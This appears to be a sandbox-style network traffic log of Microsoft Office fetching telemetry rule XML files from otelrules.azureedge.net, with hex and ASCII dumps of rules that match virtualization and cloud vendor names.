encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:23 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:24 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:24 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a914475d-501e-00a0-6190-379d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045724Z-16547b76f7fr5rfnhC1DFW0am400000002x00000000001tb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:24 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:24 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:24 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:24 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 885b02a2-801e-0035-1509-37752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045724Z-16547b76f7fwm7vghC1DFW900s00000002u000000000psgy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:24 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:24 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:24 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 2012891f-801e-00ac-7a8d-35fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045724Z-164f84587bfn7ppchC1DFW0meg00000004p000000000ctun x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:24 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:24 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:24 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:24 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 7f17f6e1-501e-00a3-5daf-36c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045724Z-16547b76f7fw2955hC1DFWsptc00000005q000000000staa x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:24 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:24 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:24 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 4dbbda22-e01e-0033-5212-374695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045724Z-164f84587bf6n6jwhC1DFW90fn00000004gg000000009qe7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:24 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:24 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 49f8120e-101e-0046-25ca-3691b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045724Z-164f84587bflm48hhC1DFW0nf8000000023000000000aa46 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:24 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:24 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:24 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 5823ae44-501e-0078-6fcd-3706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045724Z-16547b76f7fmcv27hC1DFWgpcg000000041000000000kcww x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:25 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:24 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 33178deb-401e-0048-6eb6-370409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045724Z-16547b76f7fgvq8chC1DFWhd2w00000005ug00000000kcmh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:24 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:25 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0e1f71f1-101e-0034-76a7-3796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045725Z-1866b5c5fbbx98hfhC1DFWuqmg000000043000000000780d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:25 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:25 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:25 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9ba9b484-c01e-00ad-5d7f-37a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045725Z-16547b76f7fd4rc5hC1DFWkzhw00000005pg000000004xxf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:25 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:25 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:25 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 2bae05a1-901e-00a0-0ba2-376a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045725Z-1866b5c5fbbls4jchC1DFWnmb400000000m000000000kh9k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:25 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:25 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:25 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:25 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: cb36dd23-401e-0067-3b09-3709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045725Z-16547b76f7f9s8x7hC1DFWywrg000000054g000000007ryu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
